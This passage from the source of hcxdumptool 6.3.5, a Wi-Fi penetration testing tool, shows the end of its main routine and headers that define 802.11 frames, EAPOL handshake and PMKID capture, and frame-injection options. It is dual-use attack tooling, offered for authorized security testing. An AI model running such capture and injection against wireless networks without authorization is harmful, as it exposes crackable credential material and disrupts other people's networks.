true; goto byebye; } if(set_interface(interfacefrequencyflag, userfrequencylistname, userchannellistname, monitormodeflag) == false) { errorcount++; fprintf(stderr, "failed to arm interface\n"); goto byebye; } if(monitormodeflag == true) { if(set_monitormode() == false) { errorcount++; fprintf(stderr, "failed to set monitor mode\n"); } if((userfrequencylistname != NULL) || (userchannellistname != 0)) { if(nl_set_frequency() == false) { errorcount++; fprintf(stderr, "failed to set frequency\n"); } } goto byebye; } if(essidlistname != NULL) read_essidlist(essidlistname); if(rcascanflag == NULL) { if(open_pcapng(pcapngoutname) == false) { errorcount++; fprintf(stderr, "failed to open dump file\n"); goto byebye; } } if(open_socket_rx(bpfname) == false) { errorcount++; fprintf(stderr, "failed to open raw packet socket\n"); goto byebye; } if(open_socket_tx() == false) { errorcount++; fprintf(stderr, "failed to open transmit socket\n"); goto byebye; } if(rcascanflag == NULL) { if(set_timer() == false) { errorcount++; fprintf(stderr, "failed to initialize timer\n"); goto byebye; } } else { if(set_timer_rca() == false) { errorcount++; fprintf(stderr, "failed to initialize timer\n"); goto byebye; } } /*---------------------------------------------------------------------------*/ tspecifo.tv_sec = 5; tspecifo.tv_nsec = 0; fprintf(stdout, "\nThis is a highly experimental penetration testing tool!\n" "It is made to detect vulnerabilities in your NETWORK mercilessly!\n" "Misuse a network, without specific authorization,\n" "may cause irreparable damage and result in significant consequences!\n" "Not understanding what you were doing> is not going to work as an excuse!\n\n"); if(vmflag == false) fprintf(stdout, "Failed to set virtual MAC!\n"); if(bpf.len == 0) fprintf(stderr, "BPF is unset! Make sure hcxdumptool is running in a 100%% controlled environment!\n\n"); fprintf(stdout, "Initialize main scan loop...\033[?25l"); nanosleep(&tspecifo, &tspeciforem); if(rcascanflag == NULL) { if(nl_scanloop() == false) { errorcount++; fprintf(stderr, "failed to initialize main scan loop\n"); } } else { if(nl_scanloop_rca(rcascanflag) == false) { errorcount++; fprintf(stderr, "failed to initialize rca scan loop\n"); } } /*---------------------------------------------------------------------------*/ byebye: #ifdef HCXDEBUG if(fh_debug != NULL) fclose(fh_debug); #endif if((monitormodeflag != true) && (interfacelistflag != true) && (interfaceinfoflag != true) && (interfacelistshortflag != true) && (rooterrorflag == false)) { if(getsockopt(fd_socket_rx, SOL_PACKET, PACKET_STATISTICS, &lStats, &lStatsLength) != 0) fprintf(stdout, "PACKET_STATISTICS failed\n"); } close_fds(); close_sockets(); close_lists(); if(rooterrorflag == true) exit(EXIT_FAILURE); if((monitormodeflag == true) || (interfacelistflag == true) || (interfaceinfoflag == true) || (interfacelistshortflag == true)) return EXIT_SUCCESS; fprintf(stdout, "\n\033[?25h"); errorcount += errortxcount; if(errorcount > 0) fprintf(stderr, "%u ERROR(s) during runtime\n", errorcount); if(errortxcount > 0) fprintf(stderr, "%u TX ERROR(s) during runtime\n", errortxcount); if(errorcount > 0) fprintf(stderr, "Possible reasons:\n" " driver is broken\n" " driver is busy (misconfigured system, other services access the INTERFACE)\n"); fprintf(stdout, "%u Packet(s) captured by kernel\n", lStats.tp_packets); fprintf(stdout, "%u Packet(s) dropped by kernel\n", lStats.tp_drops); if(lStats.tp_packets < 10) fprintf(stderr, "Warning: too less packets received (monitor mode may not work as expected)\n" "Possible reasons:\n" " driver is broken (most likely)\n" " no transmitter in range\n" " frames are filtered out by BPF\n"); #ifdef HCXSTATUSOUT if(rcascanflag == NULL) { fprintf(stdout,"%ld SHB written to pcapng dumpfile\n", wshbcount); fprintf(stdout,"%ld IDB written to pcapng dumpfile\n", widbcount); fprintf(stdout,"%ld ECB written to pcapng dumpfile\n", wecbcount); fprintf(stdout,"%ld EPB written to pcapng dumpfile\n", wepbcount); } else { if(rcascanflag[0] == 'a') { if(packetrcarxcount > 0) fprintf(stdout, "%" PRIu64 " PROBERESPONSE(s) captured\n", packetrcarxcount); else fprintf(stderr, "Warning: no PROBERESPONSES received (frame injection may not work as expected)\n" "Possible reasons:\n" " no AP in range\n" " frames are filtered out by BPF\n" " driver is broken\n" " driver does not support frame injection\n\n"); } } #endif #ifdef HCXNMEAOUT if(nmeapacketcount > 0) fprintf(stdout, "%ld NMEA sentence(s) received from device\n", nmeapacketcount); if(wecbnmeacount > 0) fprintf(stdout, "%ld ECB NMEA written to pcapng dumpfile\n", wecbnmeacount); if(wgpwplcount > 0) fprintf(stdout, "%ld GPWPL record(s) written to file\n", wgpwplcount); #endif fprintf(stdout, "\n"); if(exiteapolflag != 0) { if((wanteventflag & EXIT_ON_EAPOL_PMKID) == EXIT_ON_EAPOL_PMKID) fprintf(stdout, "exit on PMKID\n"); if((wanteventflag & EXIT_ON_EAPOL_M3) == EXIT_ON_EAPOL_M3) fprintf(stdout, "exit on EAPOL M1M2M3\n"); if((wanteventflag & EXIT_ON_EAPOL_M2) == EXIT_ON_EAPOL_M2) fprintf(stdout, "exit on EAPOL M1M2\n"); if((wanteventflag & EXIT_ON_EAPOL_M1) == EXIT_ON_EAPOL_M1) fprintf(stdout, "exit on EAPOL M1\n"); } if((wanteventflag & EXIT_ON_SIGTERM) == EXIT_ON_SIGTERM) { fprintf(stdout, "exit on sigterm\n"); if(exitsigtermflag == EXIT_ACTION_REBOOT) { if(system("reboot") != 0) fprintf(stderr, "can't reboot system\n"); } else if(exitsigtermflag == EXIT_ACTION_POWEROFF) { if(system("poweroff") != 0) fprintf(stderr, "can't power off\n"); } } else if((wanteventflag & EXIT_ON_GPIOBUTTON) == EXIT_ON_GPIOBUTTON) { fprintf(stdout, "exit on GPIO button\n"); if(exitgpiobuttonflag == EXIT_ACTION_REBOOT) { if(system("reboot") != 0) fprintf(stderr, "can't reboot system\n"); } else if(exitgpiobuttonflag == EXIT_ACTION_POWEROFF) { if(system("poweroff") != 0) fprintf(stderr, "can't power off\n"); } } else if((wanteventflag & EXIT_ON_TOT) == EXIT_ON_TOT) { fprintf(stdout, "exit on TOT\n"); if(exittotflag == EXIT_ACTION_REBOOT) { if(system("reboot") != 0) fprintf(stderr, "can't reboot system\n"); } else if(exittotflag == EXIT_ACTION_POWEROFF) { if(system("poweroff") != 0) fprintf(stderr, "can't power off\n"); } } else if((wanteventflag & EXIT_ON_WATCHDOG) == EXIT_ON_WATCHDOG) { fprintf(stdout, "exit on watchdog\n"); if(exitwatchdogflag == EXIT_ACTION_REBOOT) { if(system("reboot") != 0) fprintf(stderr, "can't reboot system\n"); } else if(exitwatchdogflag == EXIT_ACTION_POWEROFF) { if(system("poweroff") != 0) fprintf(stderr, "can't power off\n"); } } else if((wanteventflag & EXIT_ON_ERROR) == EXIT_ON_ERROR) { fprintf(stdout, "exit on error\n"); if(exiterrorflag == EXIT_ACTION_REBOOT) { if(system("reboot") != 0) fprintf(stderr, "can't reboot system\n"); } else if(exiterrorflag == EXIT_ACTION_POWEROFF) { if(system("poweroff") != 0) fprintf(stderr, "can't power off\n"); } } return EXIT_SUCCESS; } /*===========================================================================*/ hcxdumptool-6.3.5/include/000077500000000000000000000000001471436103500155225ustar00rootroot00000000000000hcxdumptool-6.3.5/include/byteorder.h000066400000000000000000000031311471436103500176700ustar00rootroot00000000000000#ifndef __BYTE_ORDER # error "Please fix ENDIANESS " #endif /*===========================================================================*/ #define __hcxbswab16(x) \ ((u16)((((u16)(x) & (u16) 0x00ffU) << 8u) \ | (((u16)(x) & (u16) 0xff00U) >> 8u))) #define __hcxbswab32(x) \ ((u32)((((u32)(x) & (u32) 0x000000ffUL) << 24u) \ | (((u32)(x) & (u32) 0x0000ff00UL) << 8u) \ | (((u32)(x) & (u32) 0x00ff0000UL) >> 8u) \ | (((u32)(x) & (u32) 0xff000000UL) >> 24u))) #define __hcxbswab64(x) \ ((u64)((u64)(((u64)(x) & (u64) 0x00000000000000ffULL) << 56u) \ | (u64)(((u64)(x) & (u64) 0x000000000000ff00ULL) << 40u) \ | (u64)(((u64)(x) & (u64) 0x0000000000ff0000ULL) << 24u) \ | (u64)(((u64)(x) & (u64) 0x00000000ff000000ULL) << 8u) \ | (u64)(((u64)(x) & (u64) 0x000000ff00000000ULL) >> 8u) \ | (u64)(((u64)(x) & (u64) 0x0000ff0000000000ULL) >> 24u) \ | (u64)(((u64)(x) & (u64) 0x00ff000000000000ULL) >> 40u) \ | (u64)(((u64)(x) & (u64) 0xff00000000000000ULL) >> 56u))) /*---------------------------------------------------------------------------*/ #if __BYTE_ORDER == __LITTLE_ENDIAN #define __hcx16le(x) (u16)(x) #define __hcx32le(x) (u32)(x) #define __hcx64le(x) (u64)(x) #define __hcx16be(x) __hcxbswab16(x) #define __hcx32be(x) __hcxbswab32(x) #define __hcx64be(x) __hcxbswab64(x) #elif __BYTE_ORDER == __BIG_ENDIAN #define __hcx16le(x) __hcxbswab16(x) #define __hcx32le(x) __hcxbswab32(x) #define __hcx64le(x) __hcxbswab64(x) #define __hcx16be(x) (u16)(x) #define __hcx32be(x) (u32)(x) #define __hcx64be(x) (u64)(x) #endif /*===========================================================================*/ hcxdumptool-6.3.5/include/hcxdumptool.h000066400000000000000000000233521471436103500202460ustar00rootroot00000000000000/*===========================================================================*/ #define HCX_BPF 1 #ifdef HCXWANTLIBPCAP #define HCX_BPFC 2 #endif #define HCX_DISABLE_DEAUTHENTICATION 3 #define HCX_DISABLE_PROBEREQUEST 4 #define HCX_DISABLE_ASSOCIATION 5 #define HCX_DISABLE_REASSOCIATION 6 #define HCX_DISABLE_BEACON 7 #define HCX_PROBERESPONSETX_MAX 8 #define HCX_GPIO_BUTTON 9 #define HCX_GPIO_STATUSLED 10 #define HCX_TOT 11 #define HCX_ERROR_MAX 12 #define HCX_WATCHDOG_MAX 13 #define HCX_ATTEMPT_CLIENT_MAX 14 #define HCX_ATTEMPT_AP_MAX 15 #define HCX_ON_SIGTERM 16 #define HCX_ON_TOT 17 #define HCX_ON_GPIOBUTTON 18 #define HCX_ON_WATCHDOG 19 #define HCX_EXIT_ON_EAPOL 20 #define HCX_ON_ERROR 21 #define HCX_ESSIDLIST 22 #define HCX_NMEA0183 23 #define HCX_GPSD 24 #define HCX_NMEA0183_OUT 25 #define HCX_NMEA0183_PCAPNG 26 #define HCX_RCASCAN 27 #define HCX_RD_SORT 28 #define HCX_IFNAME 'i' #define HCX_PCAPNGNAME 'w' #define HCX_INTERFACE_INFO 'I' #define HCX_SET_MONITORMODE 'm' #define HCX_SET_MONITORMODE_ACTIVE 'A' #define HCX_SET_SCANLIST_FROM_USER_CH 'c' #define HCX_SET_SCANLIST_FROM_USER_FREQ 'f' #define HCX_SET_SCANLIST_FROM_INTERFACE 'F' #define HCX_SHOW_INTERFACE_LIST 'L' #define HCX_SHOW_INTERFACE_LIST_SHORT 'l' #define HCX_HOLD_TIME 't' #define HCX_HELP 'h' #define HCX_HELP_ADDITIONAL 'H' #define HCX_VERSION 'v' /*---------------------------------------------------------------------------*/ #define EXIT_ON_SIGTERM 0x0001 #define EXIT_ON_GPIOBUTTON 0x0002 #define EXIT_ON_TOT 0x0004 #define EXIT_ON_WATCHDOG 0x0008 #define EXIT_ON_EAPOL_PMKID 0x0010 #define EXIT_ON_EAPOL_M3 0x0020 #define EXIT_ON_EAPOL_M2 0x0040 #define EXIT_ON_EAPOL_M1 0x0080 #define EXIT_ON_ERROR 0x0100 #define EXIT_ACTION_REBOOT 0x01 #define EXIT_ACTION_POWEROFF 0x02 #define ERROR_MAX 100 #define WATCHDOG_MAX 600 #define ATTEMPTCLIENT_MAX 10 #define ATTEMPTAP_MAX 32 #define IFTYPENL 0x01 #define IFTYPEMON 0x02 #define IFTYPEMONACT 0x04 #define ETHTOOL_STD_LEN 32 #define TIMER_EPWAITND 100 #define TIMER1_VALUE_SEC 1L #define TIMER1_VALUE_NSEC 0L #define TIMER1_INTERVAL_SEC 1L #define TIMER1_INTERVAL_NSEC 0L #define TIMER_RCA_VALUE_SEC 0L #define TIMER_RCA_VALUE_NSEC 200000000L #define TIMER_RCA_INTERVAL_SEC 0L #define TIMER_RCA_INTERVAL_NSEC 200000000L #define TIMEHOLD 1000000000ULL #define TIMEBEACONNEW 3600000000000ULL #define TIMEAUTHWAIT 200000000ULL #define TIMEASSOCWAIT 200000000ULL #define TIMEREASSOCWAIT 200000000ULL #define EPOLL_EVENTS_MAX 5 #define APLIST_MAX 250 #define APRGLIST_MAX 500 #define CLIENTLIST_MAX 500 #define MACLIST_MAX 250 #define ESSID_MAX 32 #define PMKID_MAX 16 #define PSK_MAX 64 #define DRIVERNAME_MAX 32 #define EAPOLM2TIMEOUT 20000000ULL #define EAPOLM3TIMEOUT 20000000ULL #define EAPOLM4TIMEOUT 20000000ULL #define DRIVER_FORMAT 128 #define DRIVER_LINK 128 #define RCAD_MAX 40 #define PROBERESPONSETX_MAX 5 #define PCAPNG_SNAPLEN 0x400 #define RTD_LEN 9128 #define TIMESTRING_LEN 128 #define WLTXBUFFER 256 #define NMEA_SIZE 9128 #define NMEA_MSG_MAX 128 #define NMEA_MIN 10 #define NMEA_GPRMC_MIN 56 #define NMEA_CS_CR_LF_SIZE 5 #define NMEA_GPWPLID_SIZE 6 #define NMEA_GPTXTID_SIZE 6 +1 #define NLTX_SIZE 0xfff #define NLRX_SIZE 0xffff #define WEAKCANDIDATEDEF "12345678" /*===========================================================================*/ typedef struct { u16 status; u8 macap[6]; u8 kdv1; u64 replaycountm1; u8 noncem1[4]; u8 kdv2; u64 replaycountm2; u8 kdv3; u64 replaycountm3; u8 kdv4; u64 replaycountm4; }authseqakt_t; #define AUTHSEQAKT_SIZE (sizeof(authseqakt_t)) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u8 len; u8 *essid; }essid_t; #define ESSID_SIZE (sizeof(essid_t)) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { #define APIE_ESSID 0x0001 #define APGS_CCMP 0x0002 #define APGS_TKIP 0x0004 #define APCS_CCMP 0x0008 #define APCS_TKIP 0x0010 #define APRSNAKM_PSK 0x0020 #define APRSNAKM_PSK256 0x0040 #define APRSNAKM_PSKFT 0x0080 #define APWPAAKM_PSK 0x0100 #define APAKM_MASK 0x01e0 #define AP_MFP 0x0200 u8 flags; u8 essidlen; u8 essid[ESSID_MAX]; u16 channel; }infoelement_t; #define INFOELEMENT_SIZE (sizeof(infoelement_t)) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u64 tsakt; u64 tshold1; u64 tsauth; u32 count; u32 frequency; u8 macap[6]; u8 macclient[6]; u16 status; #define AP_IN_RANGE_TOT 120000000000ULL #define AP_IN_RANGE 0x0001 #define AP_IN_RANGE_MASK 0xfffe #define AP_ESSID 0x0002 #define AP_BEACON 0x0004 #define AP_PROBERESPONSE 0x0008 #define AP_EAPOL_M1 0x0010 #define AP_EAPOL_M2 0x0020 #define AP_EAPOL_M3 0x0040 #define AP_EAPOL_M4 0x0080 #define AP_PMKID 0x0100 #define AP_PMKID_EAPOL 0x01f0 infoelement_t ie; }aplist_t; #define APLIST_SIZE (sizeof(aplist_t)) /*---------------------------------------------------------------------------*/ static int sort_aplist_by_tsakt(const void *a, const void *b) { const aplist_t *ai = (const aplist_t *)a; const aplist_t *bi = (const aplist_t *)b; if(ai->tsakt < bi->tsakt) return 1; else if(ai->tsakt > bi->tsakt) return -1; return 0; } /*---------------------------------------------------------------------------*/ static int sort_aplist_by_count(const void *a, const void *b) { const aplist_t *ai = (const aplist_t *)a; const aplist_t *bi = (const aplist_t *)b; if(ai->count < bi->count) return 1; else if(ai->count > bi->count) return -1; if(ai->tsakt < bi->tsakt) return 1; else if(ai->tsakt > bi->tsakt) return -1; return 0; } /*---------------------------------------------------------------------------*/ #ifdef HCXSTATUSOUT static int sort_aplist_by_status(const void *a, const void *b) { const aplist_t *ai = (const aplist_t *)a; const aplist_t *bi = (const aplist_t *)b; if(ai->status < bi->status) return 1; else if(ai->status > bi->status) return -1; if(ai->tsakt < bi->tsakt) return 1; else if(ai->tsakt > bi->tsakt) return -1; return 0; } #endif /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u64 tsakt; u8 macaprg[6]; u8 essidlen; u8 essid[ESSID_MAX]; }aprglist_t; #define APRGLIST_SIZE (sizeof(aprglist_t)) static int sort_aprglist_by_tsakt(const void *a, const void *b) { const aprglist_t *ai = (const aprglist_t *)a; const aprglist_t *bi = (const aprglist_t *)b; if(ai->tsakt < bi->tsakt) return 1; else if(ai->tsakt > bi->tsakt) return -1; return 0; } /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u64 tsakt; u64 tsauth; u64 tsassoc; u64 tsreassoc; u16 aid; u8 macclient[6]; u8 macap[6]; u8 mic[4]; #define CLIENT_EAP_START 0x01 #define CLIENT_EAPOL_M2 0x02 u8 status; u32 count; infoelement_t ie; }clientlist_t; #define CLIENTLIST_SIZE (sizeof(clientlist_t)) /*---------------------------------------------------------------------------*/ static int sort_clientlist_by_tsakt(const void *a, const void *b) { const clientlist_t *ai = (const clientlist_t *)a; const clientlist_t *bi = (const clientlist_t *)b; if(ai->tsakt < bi->tsakt) return 1; else if(ai->tsakt > bi->tsakt) return -1; return 0; } /*---------------------------------------------------------------------------*/ #ifdef HCXSTATUSOUT static int sort_clientlist_by_status(const void *a, const void *b) { const clientlist_t *ai = (const clientlist_t *)a; const clientlist_t *bi = (const clientlist_t *)b; if(ai->status < bi->status) return 1; else if(ai->status > bi->status) return -1; if(ai->tsakt < bi->tsakt) return 1; else if(ai->tsakt > bi->tsakt) return -1; return 0; } #endif /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u64 tsakt; u8 mac[6]; }maclist_t; #define MACLIST_SIZE (sizeof(maclist_t)) static int sort_maclist_by_tsakt(const void *a, const void *b) { const maclist_t *ai = (const maclist_t *)a; const maclist_t *bi = (const maclist_t *)b; if(ai->tsakt < bi->tsakt) return 1; else if(ai->tsakt > bi->tsakt) return -1; return 0; } /*---------------------------------------------------------------------------*/ #define SCANLIST_MAX 512 #define FREQUENCYLIST_MAX 256 typedef struct __attribute__((__packed__)) { u32 frequency; u32 channel; u32 pwr; #define IF_STAT_FREQ_DISABLED 0x01 u8 status; }frequencylist_t; #define FREQUENCYLIST_SIZE (sizeof(frequencylist_t)) /*---------------------------------------------------------------------------*/ #define INTERFACELIST_MAX 64 typedef struct __attribute__((__packed__)) { int index; u32 wiphy; #define IF_HAS_NETLINK 0x01 #define IF_HAS_MONITOR 0x02 #define IF_HAS_MONITOR_ACTIVE 0x04 #define IF_HAS_NLMON 0x03 #define IF_HAS_NLMON_ACTIVE 0x07 u8 type; #define IF_STAT_MONITOR 0x01 #define IF_STAT_UP 0x02 #define IF_STAT_OK 0x03 u8 status; u8 hwmac[6]; u8 vimac[6]; char name[IFNAMSIZ]; char driver[DRIVERNAME_MAX]; size_t i; frequencylist_t *frequencylist; }interface_t; #define INTERFACELIST_SIZE (sizeof(interface_t)) static int sort_interfacelist_by_index(const void *a, const void *b) { const interface_t *ia = (const interface_t *)a; const interface_t *ib = (const interface_t *)b; if(ia->index > ib->index) return 1; else if(ia->index < ib->index) return -1; return 0; } /*===========================================================================*/ typedef struct { struct nlmsghdr nlh; struct ifinfomsg ifinfo; char attrbuf[512]; }req_t; /*===========================================================================*/ static bool read_bpf(char *bpfname); static inline bool nl_set_frequency(void); /*===========================================================================*/ hcxdumptool-6.3.5/include/ieee80211.h000066400000000000000000000335231471436103500172040ustar00rootroot00000000000000/*===========================================================================*/ #define MAC_SIZE_ACK (10) #define MAC_SIZE_RTS (16) #define MAC_SIZE_NORM (24) #define MAC_SIZE_QOS (26) #define MAC_SIZE_LONG (30) #define MAC_SIZE_QOS_LONG (32) #define FCS_LEN 4 /* types */ #define IEEE80211_FTYPE_MGMT 0x0 #define IEEE80211_FTYPE_CTL 0x1 #define IEEE80211_FTYPE_DATA 0x2 #define IEEE80211_FTYPE_RCVD 0x3 /* management */ #define IEEE80211_STYPE_ASSOC_REQ 0x0 #define IEEE80211_STYPE_ASSOC_RESP 0x1 #define IEEE80211_STYPE_REASSOC_REQ 0x2 #define IEEE80211_STYPE_REASSOC_RESP 0x3 #define IEEE80211_STYPE_PROBE_REQ 0x4 #define IEEE80211_STYPE_PROBE_RESP 0x5 #define IEEE80211_STYPE_BEACON 0x8 #define IEEE80211_STYPE_ATIM 0x9 #define IEEE80211_STYPE_DISASSOC 0xa #define IEEE80211_STYPE_AUTH 0xb #define IEEE80211_STYPE_DEAUTH 0xc #define IEEE80211_STYPE_ACTION 0xd #define IEEE80211_STYPE_NO_ACTION 0xe #define IEEE80211_STYPE_MGTRESERVED 0xf /* control */ #define IEEE80211_STYPE_VHT 0x5 #define IEEE80211_STYPE_CTL_EXT 0x6 #define IEEE80211_STYPE_BACK_REQ 0x8 #define IEEE80211_STYPE_BACK 0x9 #define IEEE80211_STYPE_PSPOLL 0xa #define IEEE80211_STYPE_RTS 0xb #define IEEE80211_STYPE_CTS 0xc #define IEEE80211_STYPE_ACK 0xd #define IEEE80211_STYPE_CFEND 0xe #define IEEE80211_STYPE_CFENDACK 0xf /* data */ #define IEEE80211_STYPE_DATA 0x0 #define IEEE80211_STYPE_DATA_CFACK 0x1 #define IEEE80211_STYPE_DATA_CFPOLL 0x2 #define IEEE80211_STYPE_DATA_CFACKPOLL 0x3 #define IEEE80211_STYPE_NULLFUNC 0x4 #define IEEE80211_STYPE_CFACK 0x5 #define IEEE80211_STYPE_CFPOLL 0x6 #define IEEE80211_STYPE_CFACKPOLL 0x7 #define IEEE80211_STYPE_QOS_DATA 0x8 #define IEEE80211_STYPE_QOS_DATA_CFACK 0x9 #define IEEE80211_STYPE_QOS_DATA_CFPOLL 0xa #define IEEE80211_STYPE_QOS_DATA_CFACKPOLL 0xb #define IEEE80211_STYPE_QOS_NULLFUNC 0xc #define IEEE80211_STYPE_QOS_CFACK 0xd #define IEEE80211_STYPE_QOS_CFPOLL 0xe #define IEEE80211_STYPE_QOS_CFACKPOLL 0xf /* Reason codes (IEEE 802.11-2007, 7.3.1.7, Table 7-22) */ #define WLAN_REASON_UNSPECIFIED 1 /* ok */ #define WLAN_REASON_PREV_AUTH_NOT_VALID 2 #define WLAN_REASON_DEAUTH_LEAVING 3 #define WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY 4 #define WLAN_REASON_DISASSOC_AP_BUSY 5 #define WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA 6 /* ok */ #define WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA 7 /* ok */ #define WLAN_REASON_DISASSOC_STA_HAS_LEFT 8 #define WLAN_REASON_STA_REQ_ASSOC_WITHOUT_AUTH 9 /* IEEE 802.11h */ #define WLAN_REASON_PWR_CAPABILITY_NOT_VALID 10 #define WLAN_REASON_SUPPORTED_CHANNEL_NOT_VALID 11 /* IEEE 802.11i */ #define WLAN_REASON_INVALID_IE 13 #define WLAN_REASON_MICHAEL_MIC_FAILURE 14 #define WLAN_REASON_4WAY_HANDSHAKE_TIMEOUT 15 #define WLAN_REASON_GROUP_KEY_UPDATE_TIMEOUT 16 #define WLAN_REASON_IE_IN_4WAY_DIFFERS 17 #define WLAN_REASON_GROUP_CIPHER_NOT_VALID 18 #define WLAN_REASON_PAIRWISE_CIPHER_NOT_VALID 19 #define WLAN_REASON_AKMP_NOT_VALID 20 #define WLAN_REASON_UNSUPPORTED_RSN_IE_VERSION 21 #define WLAN_REASON_INVALID_RSN_IE_CAPAB 22 #define WLAN_REASON_IEEE_802_1X_AUTH_FAILED 23 #define WLAN_REASON_CIPHER_SUITE_REJECTED 24 #define IEEE80211_SEQ_SEQ_MASK 0xfff0 #define IEEE80211_SEQ_SEQ_SHIFT 4 #define WBIT(n) (1 << (n)) #define WPA_KEY_INFO_TYPE_MASK (WBIT(0) | WBIT(1) | WBIT(2)) #define WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 WBIT(0) #define WPA_KEY_INFO_TYPE_HMAC_SHA1_AES WBIT(1) #define WPA_KEY_INFO_KEY_TYPE WBIT(3) /* 1 = Pairwise, 0 = Group key */ #define WPA_KEY_INFO_KEY_INDEX_MASK (WBIT(4) | WBIT(5)) #define WPA_KEY_INFO_KEY_INDEX_SHIFT 4 #define WPA_KEY_INFO_INSTALL WBIT(6) /* pairwise */ #define WPA_KEY_INFO_TXRX WBIT(6) /* group */ #define WPA_KEY_INFO_ACK WBIT(7) #define WPA_KEY_INFO_MIC WBIT(8) #define WPA_KEY_INFO_SECURE WBIT(9) #define WPA_KEY_INFO_ERROR WBIT(10) #define WPA_KEY_INFO_REQUEST WBIT(11) #define WPA_KEY_INFO_ENCR_KEY_DATA WBIT(12) /* IEEE 802.11i/RSN only */ /*---------------------------------------------------------------------------*/ typedef struct __attribute__((packed)) { u64 timestamp; #if __BYTE_ORDER == __LITTLE_ENDIAN #define HCXTXBEACONINTERVAL 0x0400U #define HCXTXCAPABILITY 0x0431U #elif __BYTE_ORDER == __BIG_ENDIAN #define HCXTXBEACONINTERVAL 0x0004U #define HCXTXCAPABILITY 0x3104U #endif u16 beacon_interval; u16 capability; u8 ie[1]; }ieee80211_beacon_proberesponse_t; #define IEEE80211_BEACON_SIZE offsetof(ieee80211_beacon_proberesponse_t, ie) #define IEEE80211_PROBERESPONSE_SIZE offsetof(ieee80211_beacon_proberesponse_t, ie) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((packed)) { u8 ie[1]; }ieee80211_proberequest_t; #define IEEE80211_PROBEREQUEST_SIZE offsetof(ieee80211_proberequest_t, ie) /*===========================================================================*/ typedef struct __attribute__((__packed__)) { u8 category; #define RADIO_MEASUREMENT 5 u8 code; #define NEIGHBOR_REPORT_REQUEST 4 u8 dialog; u8 ie[1]; }ieee80211_action_t; #define IEEE80211_ACTION_SIZE offsetof(ieee80211_action_t, ie) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { #define OPEN_SYSTEM 0 u16 algorithm; u16 sequence; u16 status; u8 ie[1]; }ieee80211_auth_t; #define IEEE80211_AUTH_SIZE offsetof(ieee80211_auth_t, ie) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u16 capability; u16 status; #if __BYTE_ORDER == __LITTLE_ENDIAN #define HCXTXAID 0xc001U #elif __BYTE_ORDER == __BIG_ENDIAN #define HCXTXAID 0x01c0U #endif u16 aid; u8 ie[1]; }ieee80211_assoc_or_reassoc_resp_t; #define IEEE80211_ASSOCIATIONRESPONSE_SIZE offsetof(ieee80211_assoc_or_reassoc_resp_t, ie) #define IEEE80211_REASSOCIATIONRESPONSE_SIZE offsetof(ieee80211_assoc_or_reassoc_resp_t, ie) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u16 capability; #if __BYTE_ORDER == __LITTLE_ENDIAN #define HCXTXLISTENINTERVAL 0x0014U #elif __BYTE_ORDER == __BIG_ENDIAN #define HCXTXLISTENINTERVAL 0x1400U #endif u16 listen_interval; u8 ie[1]; }ieee80211_assoc_req_t; #define IEEE80211_ASSOCIATIONREQUEST_SIZE offsetof(ieee80211_assoc_req_t, ie) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u16 capability; u16 listen_interval; u8 current_macap[ETH_ALEN]; u8 ie[1]; }ieee80211_reassoc_req_t; #define IEEE80211_REASSOCIATIONREQUEST_SIZE offsetof(ieee80211_reassoc_req_t, ie) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u8 id; #define TAG_SSID 0x00 #define TAG_RATE 0x01 #define TAG_CHAN 0x03 #define TAG_COUNTRY 0x07 #define TAG_RSN 0x30 #define TAG_PAG 0xde #define TAG_VENDOR 0xdd u8 len; u8 ie[1]; }ieee80211_ietag_t; #define IEEE80211_IETAG_SIZE offsetof(ieee80211_ietag_t, ie) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u8 control; u8 flags; }ieee80211_qos_t; #define IEEE80211_QOS_SIZE (sizeof(ieee80211_qos_t)) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u8 dsap; u8 ssap; u8 control; u8 org[3]; u16 type; #define LLC_TYPE_AUTH 0x888e #define LLC_TYPE_IPV4 0x0800 #define LLC_TYPE_IPV6 0x86dd #define LLC_TYPE_PREAUT 0x88c7 #define LLC_TYPE_FRRR 0x890d }ieee80211_llc_t; #define IEEE80211_LLC_SIZE (sizeof(ieee80211_llc_t)) #define IEEE80211_LLC_SNAP 0xaa /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u8 version; u8 type; #define EAP_PACKET 0 #define EAPOL_START 1 #define EAPOL_LOGOFF 2 #define EAPOL_KEY 3 #define EAPOL_ASF 4 #define EAPOL_MKA 5 u16 len; u8 data[1]; }ieee80211_eapauth_t; #define IEEE80211_EAPAUTH_SIZE offsetof(ieee80211_eapauth_t, data) /*---------------------------------------------------------------------------*/ #define M1 1 #define M2 2 #define M3 3 #define M4 4 typedef struct __attribute__((__packed__)) { u8 keydescriptor; u16 keyinfo; u16 keylen; u64 replaycount; u8 nonce[32]; u8 keyiv[16]; u64 keyrsc; u8 keyid[8]; u8 keymic[16]; u16 wpadatalen; u8 data[1]; }ieee80211_wpakey_t; #define IEEE80211_WPAKEY_SIZE offsetof(ieee80211_wpakey_t, data) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u8 id; u8 len; u8 oui[3]; u8 type; #define PMKID_KDE 4 u8 pmkid[16]; }ieee80211_pmkid_t; #define IEEE80211_PMKID_SIZE (sizeof(ieee80211_pmkid_t)) /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) { u16 version; }ieee80211_rsnie_t; #define IEEE80211_RSNIE_SIZE sizeof(ieee80211_rsnie_t) #define IEEE80211_RSNIE_LEN_MIN 20 /*---------------------------------------------------------------------------*/ typedef struct __attribute__((__packed__)) 